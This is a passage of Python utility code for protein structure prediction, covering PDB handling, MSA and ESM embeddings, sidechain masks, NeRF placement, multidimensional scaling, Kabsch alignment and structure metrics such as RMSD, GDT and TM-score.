[] for chain in raw_prot.topology.chains: # if arg passed, only select that chain if chain_num is not None: if chain_num != chain.index: continue # select indexes of chain chain_idxs = raw_prot.topology.select(f"chainid == {str(chain.index)}") idxs.extend( chain_idxs.tolist() ) # sort: topology and xyz selection are ordered idxs = sorted(idxs) # get new trajectory from the sleected subset of indexes and save prot = mdtraj.Trajectory(xyz=raw_prot.xyz[:, idxs], topology=raw_prot.topology.subset(idxs)) prot.save(destin) return destin def custom2pdb(coords, proteinnet_id, route): """ Takes a custom representation and turns into a .pdb file. Inputs: * coords: array/tensor of shape (3 x N) or (N x 3). in Angstroms. same order as in the proteinnnet is assumed (same as raw pdb file) * proteinnet_id: str. proteinnet id format (<class>#<pdb_id>_<chain_number>_<chain_id>) see: https://github.com/aqlaboratory/proteinnet/ * route: str. destin route. Output: tuple of routes: (original, generated) for the structures. """ import mdtraj # convert to numpy if isinstance(coords, torch.Tensor): coords = coords.detach().cpu().numpy() # ensure (1, N, 3) if coords.shape[1] == 3: coords = coords.T coords = np.newaxis(coords, axis=0) # get pdb id and chain num pdb_name, chain_num = proteinnet_id.split("#")[-1].split("_")[:-1] pdb_destin = "/".join(route.split("/")[:-1])+"/"+pdb_name+".pdb" # download pdb file and select appropiate download_pdb(pdb_name, pdb_destin) clean_pdb(pdb_destin, chain_num=chain_num) # load trajectory scaffold and replace coordinates - assumes same order scaffold = mdtraj.load_pdb(pdb_destin) scaffold.xyz = coords scaffold.save(route) return pdb_destin, route def coords2pdb(seq, coords, cloud_mask, prefix="", name="af2_struct.pdb"): """ Turns coordinates into PDB files ready to be visualized. Inputs: * seq: (L,) tensor of ints (sidechainnet aa-key pairs) * coords: (3, N) coords of atoms * cloud_mask: (L, C) boolean mask of occupied spaces in scn format * prefix: str. directory to save files. * name: str. name of destin file (ex: pred1.pdb) """ scaffold = torch.zeros( cloud_mask.shape, 3 ) scaffold[cloud_mask] = coords.cpu().float() # build structures and save pred = scn.StructureBuilder( seq, crd=scaffold ) pred.to_pdb(prefix+name) # adapted from https://github.com/facebookresearch/esm def remove_insertions(sequence: str) -> str: """ Removes any insertions into the sequence. Needed to load aligned sequences in an MSA. """ deletekeys = dict.fromkeys(string.ascii_lowercase) deletekeys["."] = None deletekeys["*"] = None translation = str.maketrans(deletekeys) return sequence.translate(translation) def read_msa(filename: str, nseq: int): """ Reads the first nseq sequences from an MSA file, automatically removes insertions.""" return [(record.description, remove_insertions(str(record.seq))) for record in itertools.islice(SeqIO.parse(filename, "fasta"), nseq)] # sidechainnet / MSA / other data utils def ids_to_embed_input(x): """ Returns the amino acid string input for calculating the ESM and MSA transformer embeddings Inputs: * x: any deeply nested list of integers that correspond with amino acid id """ assert isinstance(x, list), 'input must be a list' id2aa = VOCAB._int2char out = [] for el in x: if isinstance(el, list): out.append(ids_to_embed_input(el)) elif isinstance(el, int): out.append(id2aa[el]) else: raise TypeError('type must be either list or character') if all(map(lambda c: isinstance(c, str), out)): return (None, ''.join(out)) return out def get_msa_embedd(msa, embedd_model, batch_converter, device = None): """ Returns the MSA_tr embeddings for a protein. Inputs: * seq: ( (b,) L,) tensor of ints (in sidechainnet int-char convention) * embedd_model: MSA_tr model (see train_end2end.py for an example) * batch_converter: MSA_tr batch converter (see train_end2end.py for an example) Outputs: tensor of (batch, n_seqs, L, embedd_dim) * n_seqs: number of sequences in the MSA * embedd_dim: number of embedding dimensions. 768 for MSA_Transformer """ # use MSA transformer REPR_LAYER_NUM = 12 device = embedd_model.device max_seq_len = msa.shape[-1] embedd_inputs = ids_to_embed_input(msa.cpu().tolist()) msa_batch_labels, msa_batch_strs, msa_batch_tokens = batch_converter(embedd_inputs) with torch.no_grad(): results = embedd_model(msa_batch_tokens.to(device), repr_layers=[REPR_LAYER_NUM], return_contacts=False) # index 0 is for start token. so take from 1 one token_reps = results["representations"][REPR_LAYER_NUM][..., 1:, :] return token_reps def get_esm_embedd(seq, embedd_model, batch_converter, msa_data=None): """ Returns the ESM embeddings for a protein. Inputs: * seq: ( (b,) L,) tensor of ints (in sidechainnet int-char convention) * embedd_model: ESM model (see train_end2end.py for an example) * batch_converter: ESM batch converter (see train_end2end.py for an example) Outputs: tensor of (batch, n_seqs, L, embedd_dim) * n_seqs: number of sequences in the MSA. 1 for ESM-1b * embedd_dim: number of embedding dimensions. 1280 for ESM-1b """ # use ESM transformer device = embedd_model.device REPR_LAYER_NUM = 33 max_seq_len = seq.shape[-1] embedd_inputs = ids_to_embed_input(seq.cpu().tolist()) batch_labels, batch_strs, batch_tokens = batch_converter(embedd_inputs) with torch.no_grad(): results = embedd_model(batch_tokens.to(device), repr_layers=[REPR_LAYER_NUM], return_contacts=False) # index 0 is for start token. so take from 1 one token_reps = results["representations"][REPR_LAYER_NUM][..., 1:, :].unsqueeze(dim=1) return token_reps def get_all_protein_ids(dataloader, verbose=False): """ Given a sidechainnet dataloader for a CASP version, Returns all the ids belonging to proteins. Inputs: * dataloader: a sidechainnet dataloader for a CASP version Outputs: a set containing the ids for all protein entries. """ # store ids here ids = set([]) # iterate for all batches for i,batch in tqdm(enumerate(dataloaders['train'])): # for breaking from 2 loops at once try: for i in range(batch.int_seqs.shape[0]): # check if all fragments are : 4_LETTER_PDB + NUM + CHAIN max_len_10 = len(batch.pids[i]) < 10 fragments = [len(x) <= 4 for x in batch.pids[i].split("_")] fragments_under_4 = sum(fragments) == len(fragments) # AND CONDITION # record id if max_len_10 and fragments_under_4: ids.add(batch.pids[i]) else: if verbose: print("skip:", batch.pids[i], "under 4", fragments) except StopIteration: break # returns set of ids return ids def scn_cloud_mask(scn_seq, boolean=True, coords=None): """ Gets the boolean mask atom positions (not all aas have same atoms). Inputs: * scn_seq: (batch, length) sequence as provided by Sidechainnet package * boolean: whether to return as array of idxs or boolean values * coords: optional .(batch, lc, 3). sidechainnet coords. returns the true mask (solves potential atoms that might not be provided) Outputs: (batch, length, NUM_COORDS_PER_RES) boolean mask """ scn_seq = expand_dims_to(scn_seq, 2 - len(scn_seq.shape)) # early check for coords mask if coords is not None: batch_mask = ( rearrange(coords, '... (l c) d -> ... l c d', c=14) == 0 ).sum(dim=-1) < coords.shape[-1] if boolean: return batch_mask.bool() else: return batch_mask.nonzero() # do loop in cpu device = scn_seq.device batch_mask = [] scn_seq = scn_seq.cpu().tolist() for i, seq in enumerate(scn_seq): # get masks for each prot (points for each aa) batch_mask.append( torch.tensor([CUSTOM_INFO[VOCAB.int2char(aa)]['cloud_mask'] \ for aa in seq]).bool().to(device).unsqueeze(0) ) # concat in last dim batch_mask = torch.cat(batch_mask, dim=0) # return mask (boolean or indexes) if boolean: return batch_mask.bool() else: return batch_mask.nonzero() def scn_backbone_mask(scn_seq, boolean=True, n_aa=3): """ Gets the boolean mask for N and CA positions. Inputs: * scn_seq: sequence(s) as provided by Sidechainnet package (int tensor/s) * n_aa: number of atoms in a backbone. (may include cbeta as 4th pos) * bool: whether to return as array of idxs or boolean values Outputs: (N_mask, CA_mask, C_mask) """ wrapper = torch.zeros(*scn_seq.shape, n_aa).to(scn_seq.device) # N is the first atom in every AA. CA is the 2nd. wrapper[..., 0] = 1 wrapper[..., 1] = 2 wrapper[..., 2] = 3 wrapper = rearrange(wrapper, '... l c -> ... (l c)') # find idxs N_mask = wrapper == 1 CA_mask = wrapper == 2 C_mask = wrapper == 3 if boolean: return N_mask, CA_mask, C_mask return torch.nonzero(N_mask), torch.nonzero(CA_mask), torch.nonzero(C_mask) def scn_atom_embedd(scn_seq): """ Returns the token for each atom in the aa. Inputs: * scn_seq: sequence(s) as provided by Sidechainnet package (int tensor/s) """ device = scn_seq.device batch_tokens = [] # do loop in cpu scn_seq = scn_seq.cpu() for i,seq in enumerate(scn_seq): batch_tokens.append( torch.tensor([CUSTOM_INFO[VOCAB.int2char(aa.item())]["atom_id_embedd"] \ for aa in seq]).long().to(device).unsqueeze(0) ) batch_tokens = torch.cat(batch_tokens, dim=0) return batch_tokens def nth_deg_adjacency(adj_mat, n=1, sparse=False): """ Calculates the n-th degree adjacency matrix. Performs mm of adj_mat and adds the newly added. Default is dense. Mods for sparse version are done when needed. Inputs: * adj_mat: (N, N) adjacency tensor * n: int. degree of the output adjacency * sparse: bool. whether to use torch-sparse module Outputs: * edge_idxs: ij positions of the adjacency matrix * edge_attrs: degree of connectivity (1 for neighs, 2 for neighs^2, ... ) """ adj_mat = adj_mat.float() attr_mat = torch.zeros_like(adj_mat) new_adj_mat = adj_mat.clone() for i in range(n): if i == 0: attr_mat += adj_mat continue if i == 1 and sparse: idxs = adj_mat.nonzero().t() vals = adj_mat[idxs[0], idxs[1]] new_idxs = idxs.clone() new_vals = vals.clone() m, k, n = 3 * [adj_mat.shape[0]] # (m, n) * (n, k) , but adj_mats are squared: m=n=k if sparse: new_idxs, new_vals = torch_sparse.spspmm(new_idxs, new_vals, idxs, vals, m=m, k=k, n=n) new_vals = new_vals.bool().float() new_adj_mat = torch.zeros_like(attr_mat) new_adj_mat[new_idxs[0], new_idxs[1]] = new_vals # sparse to dense is slower # torch.sparse.FloatTensor(idxs, vals).to_dense() else: new_adj_mat = (new_adj_mat @ adj_mat).bool().float() attr_mat.masked_fill( (new_adj_mat - attr_mat.bool().float()).bool(), i+1 ) return new_adj_mat, attr_mat def prot_covalent_bond(seqs, adj_degree=1, cloud_mask=None, mat=True): """ Returns the idxs of covalent bonds for a protein. Inputs * seq: (b, n) torch long. * adj_degree: int. adjacency degree * cloud_mask: mask selecting the present atoms. * mat: whether to return as indexes or matrices. for indexes, only 1 seq is supported Outputs: edge_idxs, edge_attrs """ device = seqs.device # get starting poses for every aa adj_mat = torch.zeros(seqs.shape[0], seqs.shape[1]*14, seqs.shape[1]*14) # not needed to device since it's only for indices. scaff = torch.zeros(seqs.shape[1], 14) scaff[:, 0] = 1 idxs = torch.nonzero(scaff).reshape(-1) for s,seq in enumerate(seqs): for i,idx in enumerate(idxs): if i >= seq.shape[0]: break # offset by pos in chain ( intra-aa bonds + with next aa ) bonds = idx + torch.tensor( constants.AA_DATA[VOCAB.int2char(seq[i].item())]['bonds'] + [[2, 14]] ).t() # delete link with next if final AA in seq if i == idxs.shape[0]-1: bonds = bonds[:, :-1] # modify adj mat adj_mat[s, bonds[0], bonds[1]] = 1 # convert to undirected adj_mat[s] = adj_mat[s] + adj_mat[s].t() # do N_th degree adjacency adj_mat, attr_mat = nth_deg_adjacency(adj_mat, n=adj_degree, sparse=False) # True if mat: return attr_mat.bool().to(seqs.device), attr_mat.to(device) else: edge_idxs = attr_mat[0].nonzero().t().long() edge_attrs = attr_mat[0, edge_idxs[0], edge_idxs[1]] return edge_idxs.to(seqs.device), edge_attrs.to(seqs.device) def nerf_torch(a, b, c, l, theta, chi): """ Custom Natural extension of Reference Frame. Inputs: * a: (batch, 3) or (3,). point(s) of the plane, not connected to d * b: (batch, 3) or (3,). point(s) of the plane, not connected to d * c: (batch, 3) or (3,). point(s) of the plane, connected to d * theta: (batch,) or (float). angle(s) between b-c-d * chi: (batch,) or float. dihedral angle(s) between the a-b-c and b-c-d planes Outputs: d (batch, 3) or (3,). the next point in the sequence, linked to c """ # safety check if not ( (-np.pi <= theta) * (theta <= np.pi) ).all().item(): raise ValueError(f"theta(s) must be in radians and in [-pi, pi]. theta(s) = {theta}") # calc vecs ba = b-a cb = c-b # calc rotation matrix. based on plane normals and normalized n_plane = torch.cross(ba, cb, dim=-1) n_plane_ = torch.cross(n_plane, cb, dim=-1) rotate = torch.stack([cb, n_plane_, n_plane], dim=-1) rotate /= torch.norm(rotate, dim=-2, keepdim=True) # calc proto point, rotate d = torch.stack([-torch.cos(theta), torch.sin(theta) * torch.cos(chi), torch.sin(theta) * torch.sin(chi)], dim=-1).unsqueeze(-1) # extend base point, set length return c + l.unsqueeze(-1) * torch.matmul(rotate, d).squeeze() def sidechain_container(backbones, n_aa, cloud_mask=None, place_oxygen=False, n_atoms=NUM_COORDS_PER_RES, padding=GLOBAL_PAD_CHAR): """ Gets a backbone of the protein, returns the whole coordinates with sidechains (same format as sidechainnet). Keeps differentiability. Inputs: * backbones: (batch, L*3, 3): assume batch=1 (could be extended later). Coords for (N-term, C-alpha, C-term) of every aa. * n_aa: int. number of points for each aa in the backbones. * cloud_mask: (batch, l, c). optional. cloud mask from scn_cloud_mask`. returns point outside to 0. if passed, else c_alpha * place_oxygen: whether to claculate the oxygen of the carbonyl group via NeRF * n_atoms: int. n of atom positions / atom. same as in sidechainnet: 14 * padding: int. padding token. same as in sidechainnet: 0 Outputs: whole coordinates of shape (batch, L, n_atoms, 3) """ device = backbones.device batch, length = backbones.shape[0], backbones.shape[1] // n_aa # build scaffold from (N, CA, C, CB) new_coords = torch.zeros(batch, length, NUM_COORDS_PER_RES, 3).to(device) predicted = rearrange(backbones, 'b (l back) d -> b l back d', l=length) # set backbone positions new_coords[:, :, :3] = predicted[:, :, :3] # set rest of positions to c_beta if present, else c_alpha if n_aa == 4: new_coords[:, :, 4:] = repeat(predicted[:, :, -1], 'b l d -> b l scn d', scn=10) else: new_coords[:, :, 4:] = repeat(new_coords[:, :, 1], 'b l d -> b l scn d', scn=10) if cloud_mask is not None: new_coords[torch.logical_not(cloud_mask)] = 0. # hard-calculate oxygen position of carbonyl group with parallel version of NERF if place_oxygen: # build (=O) position of revery aa in each chain for s in range(batch): # dihedrals phi=f(c-1, n, ca, c) & psi=f(n, ca, c, n+1) # phi = get_dihedral_torch(*backbone[s, i*3 - 1 : i*3 + 3]) if i>0 else None psis = torch.tensor([ get_dihedral_torch(*backbones[s, i*3 + 0 : i*3 + 4] )if i < length-1 else np.pi*5/4 \ for i in range(length) ]) # the angle for placing oxygen is opposite to psi of current res. # psi not available for last one so pi/4 taken for now bond_lens = repeat(torch.tensor(BB_BUILD_INFO["BONDLENS"]["c-o"]), ' -> b', b=length).to(psis.device) bond_angs = repeat(torch.tensor(BB_BUILD_INFO["BONDANGS"]["ca-c-o"]), ' -> b', b=length).to(psis.device) correction = repeat(torch.tensor(-np.pi), ' -> b', b=length).to(psis.device) new_coords[:, :, 3] = nerf_torch(new_coords[:, :, 0], new_coords[:, :, 1], new_coords[:, :, 2], bond_lens, bond_angs, psis + correction) else: # init oxygen to carbonyl new_coords[:, :, 3] = predicted[:, :, 2] return new_coords # distance utils (distogram to dist mat + masking) def center_distogram_torch(distogram, bins=DISTANCE_THRESHOLDS, min_t=1., center="mean", wide="std"): """ Returns the central estimate of a distogram. Median for now. Inputs: * distogram: (batch, N, N, B) where B is the number of buckets. * bins: (B,) containing the cutoffs for the different buckets * min_t: float. lower bound for distances. Outputs: * central: (batch, N, N) * dispersion: (batch, N, N) * weights: (batch, N, N) """ shape, device = distogram.shape, distogram.device # threshold to weights and find mean value of each bin n_bins = ( bins - 0.5 * (bins[2] - bins[1]) ).to(device) n_bins[0] = 1.5 n_bins[-1] = 1.33*bins[-1] # above last threshold is ignored max_bin_allowed = torch.tensor(n_bins.shape[0]-1).to(device).long() # calculate measures of centrality and dispersion - magnitudes = distogram.sum(dim=-1) if center == "median": cum_dist = torch.cumsum(distogram, dim=-1) medium = 0.5 * cum_dist[..., -1:] central = torch.searchsorted(cum_dist, medium).squeeze() central = n_bins[ torch.min(central, max_bin_allowed) ] elif center == "mean": central = (distogram * n_bins).sum(dim=-1) / magnitudes # create mask for last class - (IGNORE_INDEX) mask = (central <= bins[-2].item()).float() # mask diagonal to 0 dist - don't do masked filling to avoid inplace errors diag_idxs = np.arange(shape[-2]) central = expand_dims_to(central, 3 - len(central.shape)) central[:, diag_idxs, diag_idxs] *= 0. # provide weights if wide == "var": dispersion = (distogram * (n_bins - central.unsqueeze(-1))**2).sum(dim=-1) / magnitudes elif wide == "std": dispersion = ((distogram * (n_bins - central.unsqueeze(-1))**2).sum(dim=-1) / magnitudes).sqrt() else: dispersion = torch.zeros_like(central, device=device) # rescale to 0-1. lower std / var --> weight=1. set potential nan's to 0 weights = mask / (1+dispersion) weights[weights != weights] *= 0. weights[:, diag_idxs, diag_idxs] *= 0. return central, weights # distance matrix to 3d coords: https://github.com/scikit-learn/scikit-learn/blob/42aff4e2e/sklearn/manifold/_mds.py#L279 def mds_torch(pre_dist_mat, weights=None, iters=10, tol=1e-5, eigen=False, verbose=2): """ Gets distance matrix. Outputs 3d. See below for wrapper. Assumes (for now) distogram is (N x N) and symmetric Outs: * best_3d_coords: (batch x 3 x N) * historic_stresses: (batch x steps) """ device, dtype = pre_dist_mat.device, pre_dist_mat.type() # ensure batched MDS pre_dist_mat = expand_dims_to(pre_dist_mat, length = ( 3 - len(pre_dist_mat.shape) )) # start batch, N, _ = pre_dist_mat.shape diag_idxs = np.arange(N) his = [torch.tensor([np.inf]*batch, device=device)] # initialize by eigendecomposition: https://www.lptmc.jussieu.fr/user/lesne/bioinformatics.pdf # follow : https://www.biorxiv.org/content/10.1101/2020.11.27.401232v1.full.pdf D = pre_dist_mat**2 M = 0.5 * (D[:, :1, :] + D[:, :, :1] - D) # do loop svd bc it's faster: (2-3x in CPU and 1-2x in GPU) # https://discuss.pytorch.org/t/batched-svd-lowrank-being-much-slower-than-loop-implementation-both-cpu-and-gpu/119336 svds = [torch.svd_lowrank(mi) for mi in M] u = torch.stack([svd[0] for svd in svds], dim=0) s = torch.stack([svd[1] for svd in svds], dim=0) v = torch.stack([svd[2] for svd in svds], dim=0) best_3d_coords = torch.bmm(u, torch.diag_embed(s).sqrt())[..., :3] # only eigen - way faster but not weights if weights is None and eigen==True: return torch.transpose( best_3d_coords, -1, -2), torch.zeros_like(torch.stack(his, dim=0)) elif eigen==True: if verbose: print("Can't use eigen flag if weights are active. Fallback to iterative") # continue the iterative way if weights is None: weights = torch.ones_like(pre_dist_mat) # iterative updates: for i in range(iters): # compute distance matrix of coords and stress best_3d_coords = best_3d_coords.contiguous() dist_mat = torch.cdist(best_3d_coords, best_3d_coords, p=2).clone() stress = ( weights * (dist_mat - pre_dist_mat)**2 ).sum(dim=(-1,-2)) * 0.5 # perturb - update X using the Guttman transform - sklearn-like dist_mat[ dist_mat <= 0 ] += 1e-7 ratio = weights * (pre_dist_mat / dist_mat) B = -ratio B[:, diag_idxs, diag_idxs] += ratio.sum(dim=-1) # update coords = (1. / N * torch.matmul(B, best_3d_coords)) dis = torch.norm(coords, dim=(-1, -2)) if verbose >= 2: print('it: %d, stress %s' % (i, stress)) # update metrics if relative improvement above tolerance if (his[-1] - stress / dis).mean() <= tol: if verbose: print('breaking at iteration %d with stress %s' % (i, stress / dis)) break best_3d_coords = coords his.append( stress / dis ) return torch.transpose(best_3d_coords, -1,-2), torch.stack(his, dim=0) def mds_numpy(pre_dist_mat, weights=None, iters=10, tol=1e-5, eigen=False, verbose=2): """ Gets distance matrix. Outputs 3d. See below for wrapper. Assumes (for now) distrogram is (N x N) and symmetric Out: * best_3d_coords: (3 x N) * historic_stress """ if weights is None: weights = np.ones_like(pre_dist_mat) # ensure batched MDS pre_dist_mat = expand_dims_to(pre_dist_mat, length = ( 3 - len(pre_dist_mat.shape) )) # start batch, N, _ = pre_dist_mat.shape his = [np.inf] # init random coords best_stress = np.inf * np.ones(batch) best_3d_coords = 2*np.random.rand(batch, 3, N) - 1 # iterative updates: for i in range(iters): # compute distance matrix of coords and stress dist_mat = np.linalg.norm(best_3d_coords[:, :, :, None] - best_3d_coords[:, :, None, :], axis=-3) stress = (( weights * (dist_mat - pre_dist_mat) )**2).sum(axis=(-1, -2)) * 0.5 # perturb - update X using the Guttman transform - sklearn-like dist_mat[dist_mat == 0] = 1e-7 ratio = weights * (pre_dist_mat / dist_mat) B = -ratio B[:, np.arange(N), np.arange(N)] += ratio.sum(axis=-1) # update - double transpose. TODO: consider fix coords = (1. / N * np.matmul(best_3d_coords, B)) dis = np.linalg.norm(coords, axis=(-1, -2)) if verbose >= 2: print('it: %d, stress %s' % (i, stress)) # update metrics if relative improvement above tolerance if (best_stress - stress / dis).mean() <= tol: if verbose: print('breaking at iteration %d with stress %s' % (i, stress / dis)) break best_3d_coords = coords best_stress = stress / dis his.append(best_stress) return best_3d_coords, np.array(his) def get_dihedral_torch(c1, c2, c3, c4): """ Returns the dihedral angle in radians. Will use atan2 formula from: https://en.wikipedia.org/wiki/Dihedral_angle#In_polymer_physics Can't use torch.dot bc it does not broadcast Inputs: * c1: (batch, 3) or (3,) * c1: (batch, 3) or (3,) * c1: (batch, 3) or (3,) * c1: (batch, 3) or (3,) """ u1 = c2 - c1 u2 = c3 - c2 u3 = c4 - c3 return torch.atan2( ( (torch.norm(u2, dim=-1, keepdim=True) * u1) * torch.cross(u2,u3, dim=-1) ).sum(dim=-1) , ( torch.cross(u1,u2, dim=-1) * torch.cross(u2, u3, dim=-1) ).sum(dim=-1) ) def get_dihedral_numpy(c1, c2, c3, c4): """ Returns the dihedral angle in radians. Will use atan2 formula from: https://en.wikipedia.org/wiki/Dihedral_angle#In_polymer_physics Inputs: * c1: (batch, 3) or (3,) * c1: (batch, 3) or (3,) * c1: (batch, 3) or (3,) * c1: (batch, 3) or (3,) """ u1 = c2 - c1 u2 = c3 - c2 u3 = c4 - c3 return np.arctan2( ( (np.linalg.norm(u2, axis=-1, keepdims=True) * u1) * np.cross(u2,u3, axis=-1)).sum(axis=-1), ( np.cross(u1,u2, axis=-1) * np.cross(u2, u3, axis=-1) ).sum(axis=-1) ) def calc_phis_torch(pred_coords, N_mask, CA_mask, C_mask=None, prop=True, verbose=0): """ Filters mirrors selecting the 1 with most N of negative phis. Used as part of the MDScaling wrapper if arg is passed. See below. Angle Phi between planes: (Cterm{-1}, N, Ca{0}) and (N{0}, Ca{+1}, Cterm{+1}) Inputs: * pred_coords: (batch, 3, N) predicted coordinates * N_mask: (batch, N) boolean mask for N-term positions * CA_mask: (batch, N) boolean mask for C-alpha positions * C_mask: (batch, N) or None. boolean mask for C-alpha positions or automatically calculate from N_mask and CA_mask if None. * prop: bool. whether to return as a proportion of negative phis. * verbose: bool. verbosity level Output: (batch, N) containing the phi angles or (batch,) containing the proportions. Note: use [0] since all prots in batch have same backbone """ # detach gradients for angle calculation - mirror selection pred_coords_ = torch.transpose(pred_coords.detach(), -1 , -2).cpu() # ensure dims N_mask = expand_dims_to( N_mask, 2-len(N_mask.shape) ) CA_mask = expand_dims_to( CA_mask, 2-len(CA_mask.shape) ) if C_mask is not None: C_mask = expand_dims_to( C_mask, 2-len(C_mask.shape) ) else: C_mask = torch.logical_not(torch.logical_or(N_mask,CA_mask)) # select points n_terms = pred_coords_[:, N_mask[0].squeeze()] c_alphas = pred_coords_[:, CA_mask[0].squeeze()] c_terms = pred_coords_[:, C_mask[0].squeeze()] # compute phis for every pritein in the batch phis = [get_dihedral_torch(c_terms[i, :-1], n_terms[i, 1:], c_alphas[i, 1:], c_terms[i, 1:]) for i in range(pred_coords.shape[0])] # return percentage of lower than 0 if prop: return torch.tensor( [(x<0).float().mean().item() for x in phis] ) return phis def calc_phis_numpy(pred_coords, N_mask, CA_mask, C_mask=None, prop=True, verbose=0): """ Filters mirrors selecting the 1 with most N of negative phis. Used as part of the MDScaling wrapper if arg is passed. See below. Angle Phi between planes: (Cterm{-1}, N, Ca{0}) and (N{0}, Ca{+1}, Cterm{+1}) Inputs: * pred_coords: (batch, 3, N) predicted coordinates * N_mask: (N, ) boolean mask for N-term positions * CA_mask: (N, ) boolean mask for C-alpha positions * C_mask: (N, ) or None. boolean mask for C-alpha positions or automatically calculate from N_mask and CA_mask if None. * prop: bool. whether to return as a proportion of negative phis. * verbose: bool. verbosity level Output: (batch, N) containing the phi angles or (batch,) containing the proportions. """ # detach gradients for angle calculation - mirror selection pred_coords_ = np.transpose(pred_coords, (0, 2, 1)) n_terms = pred_coords_[:, N_mask.squeeze()] c_alphas = pred_coords_[:, CA_mask.squeeze()] # select c_term auto if not passed if C_mask is not None: c_terms = pred_coords_[:, C_mask] else: c_terms = pred_coords_[:, (np.ones_like(N_mask)-N_mask-CA_mask).squeeze().astype(bool) ] # compute phis for every pritein in the batch phis = [get_dihedral_numpy(c_terms[i, :-1], n_terms[i, 1:], c_alphas[i, 1:], c_terms[i, 1:]) for i in range(pred_coords.shape[0])] # return percentage of lower than 0 if prop: return np.array( [(x<0).mean() for x in phis] ) return phis # alignment by centering + rotation to compute optimal RMSD # adapted from : https://github.com/charnley/rmsd/ def kabsch_torch(X, Y, cpu=True): """ Kabsch alignment of X into Y. Assumes X,Y are both (Dims x N_points). See below for wrapper. """ device = X.device # center X and Y to the origin X_ = X - X.mean(dim=-1, keepdim=True) Y_ = Y - Y.mean(dim=-1, keepdim=True) # calculate convariance matrix (for each prot in the batch) C = torch.matmul(X_, Y_.t()).detach() if cpu: C = C.cpu() # Optimal rotation matrix via SVD if int(torch.__version__.split(".")[1]) < 8: # warning! int torch 1.<8 : W must be transposed V, S, W = torch.svd(C) W = W.t() else: V, S, W = torch.linalg.svd(C) # determinant sign for direction correction d = (torch.det(V) * torch.det(W)) < 0.0 if d: S[-1] = S[-1] * (-1) V[:, -1] = V[:, -1] * (-1) # Create Rotation matrix U U = torch.matmul(V, W).to(device) # calculate rotations X_ = torch.matmul(X_.t(), U).t() # return centered and aligned return X_, Y_ def kabsch_numpy(X, Y): """ Kabsch alignment of X into Y. Assumes X,Y are both (Dims x N_points). See below for wrapper. """ # center X and Y to the origin X_ = X - X.mean(axis=-1, keepdims=True) Y_ = Y - Y.mean(axis=-1, keepdims=True) # calculate convariance matrix (for each prot in the batch) C = np.dot(X_, Y_.transpose()) # Optimal rotation matrix via SVD V, S, W = np.linalg.svd(C) # determinant sign for direction correction d = (np.linalg.det(V) * np.linalg.det(W)) < 0.0 if d: S[-1] = S[-1] * (-1) V[:, -1] = V[:, -1] * (-1) # Create Rotation matrix U U = np.dot(V, W) # calculate rotations X_ = np.dot(X_.T, U).T # return centered and aligned return X_, Y_ # metrics - more formulas here: http://predictioncenter.org/casp12/doc/help.html def distmat_loss_torch(X=None, Y=None, X_mat=None, Y_mat=None, p=2, q=2, custom=None, distmat_mask=None): """ Calculates a loss on the distance matrix - no need to align structs. Inputs: * X: (N, d) tensor. the predicted structure. One of (X, X_mat) is needed. * X_mat: (N, N) tensor. the predicted distance matrix. Optional () * Y: (N, d) tensor. the true structure. One of (Y, Y_mat) is needed. * Y_mat: (N, N) tensor. the predicted distance matrix. Optional () * p: int. power for the distance calculation (2 for euclidean) * q: float. power for the scaling of the loss (2 for MSE, 1 for MAE, etc) * custom: func or None. custom loss over distance matrices. ex: lambda x,y: 1 - 1/ (1 + ((x-y))**2) (1 is very bad. 0 is good) * distmat_mask: (N, N) mask (boolean or weights for each ij pos). optional. """ assert (X is not None or X_mat is not None) and \ (Y is not None or Y_mat is not None), "The true and predicted coords or dist mats must be provided" # calculate distance matrices if X_mat is None: X_mat = torch.cdist(X, X, p=p) if Y_mat is None: Y_mat = torch.cdist(Y, Y, p=p) if distmat_mask is None: distmat_mask = torch.ones_like(Y_mat).bool() # do custom expression if passed if custom is not None: loss = custom(X_mat, Y_mat).mean() # **2 ensures always positive. Later scale back to desired power else: loss = ( X_mat - Y_mat )**2 if q != 2: loss = loss**(q/2) return loss[distmat_mask].mean() def rmsd_torch(X, Y): """ Assumes x,y are both (B x D x N). See below for wrapper. """ return torch.sqrt( torch.mean((X - Y)**2, axis=(-1, -2)) ) def rmsd_numpy(X, Y): """ Assumes x,y are both (B x D x N). See below for wrapper. """ return np.sqrt( np.mean((X - Y)**2, axis=(-1, -2)) ) def gdt_torch(X, Y, cutoffs, weights=None): """ Assumes x,y are both (B x D x N). see below for wrapper. * cutoffs is a list of `K` thresholds * weights is a list of `K` weights (1 x each threshold) """ device = X.device if weights is None: weights = torch.ones(1,len(cutoffs)) else: weights = torch.tensor([weights]).to(device) # set zeros and fill with values GDT = torch.zeros(X.shape[0], len(cutoffs), device=device) dist = ((X - Y)**2).sum(dim=1).sqrt() # iterate over thresholds for i,cutoff in enumerate(cutoffs): GDT[:, i] = (dist <= cutoff).float().mean(dim=-1) # weighted mean return (GDT*weights).mean(-1) def gdt_numpy(X, Y, cutoffs, weights=None): """ Assumes x,y are both (B x D x N). see below for wrapper. * cutoffs is a list of `K` thresholds * weights is a list of `K` weights (1 x each threshold) """ if weights is None: weights = np.ones( (1,len(cutoffs)) ) else: weights = np.array([weights]) # set zeros and fill with values GDT = np.zeros( (X.shape[0], len(cutoffs)) ) dist = np.sqrt( ((X - Y)**2).sum(axis=1) ) # iterate over thresholds for i,cutoff in enumerate(cutoffs): GDT[:, i] = (dist <= cutoff).mean(axis=-1) # weighted mean return (GDT*weights).mean(-1) def tmscore_torch(X, Y): """ Assumes x,y are both (B x D x N). see below for wrapper. """ L = X.shape[-1] d0 = 1.24 * np.cbrt(L - 15) - 1.8 # get distance dist = ((X - Y)**2).sum(dim=1).sqrt() # formula (see wrapper for source): return (1 / (1 + (dist/d0)**2)).mean(dim=-1) def tmscore_numpy(X, Y): """ Assumes x,y are both (B x D x N). see below for wrapper. """ L = X.shape[-1] d0 = 1.24 * np.cbrt(L - 15) - 1.8 # get distance dist = np.sqrt( ((X - Y)**2).sum(axis=1) ) # formula (see wrapper for source): return (1 / (1 + (dist/d0)**2)).mean(axis=-1) def mdscaling_torch(pre_dist_mat, weights=None, iters=10, tol=1e-5, fix_mirror=True, N_mask=None, CA_mask=None, C_mask=None, eigen=False, verbose=2): """ Handles the specifics of MDS for proteins (mirrors, ...) """ # batched mds for full parallel preds, stresses = mds_torch(pre_dist_mat, weights=weights,iters=iters, tol=tol, eigen=eigen, verbose=verbose) if not fix_mirror: return preds, stresses # no need to caculate multiple mirrors - just correct Z axis phi_ratios = calc_phis_torch(preds, N_mask, CA_mask, C_mask, prop=True) to_correct = torch.nonzero( (phi_ratios < 0.5)).view(-1) # fix mirrors by (-1)*Z if more (+) than (-) phi angles 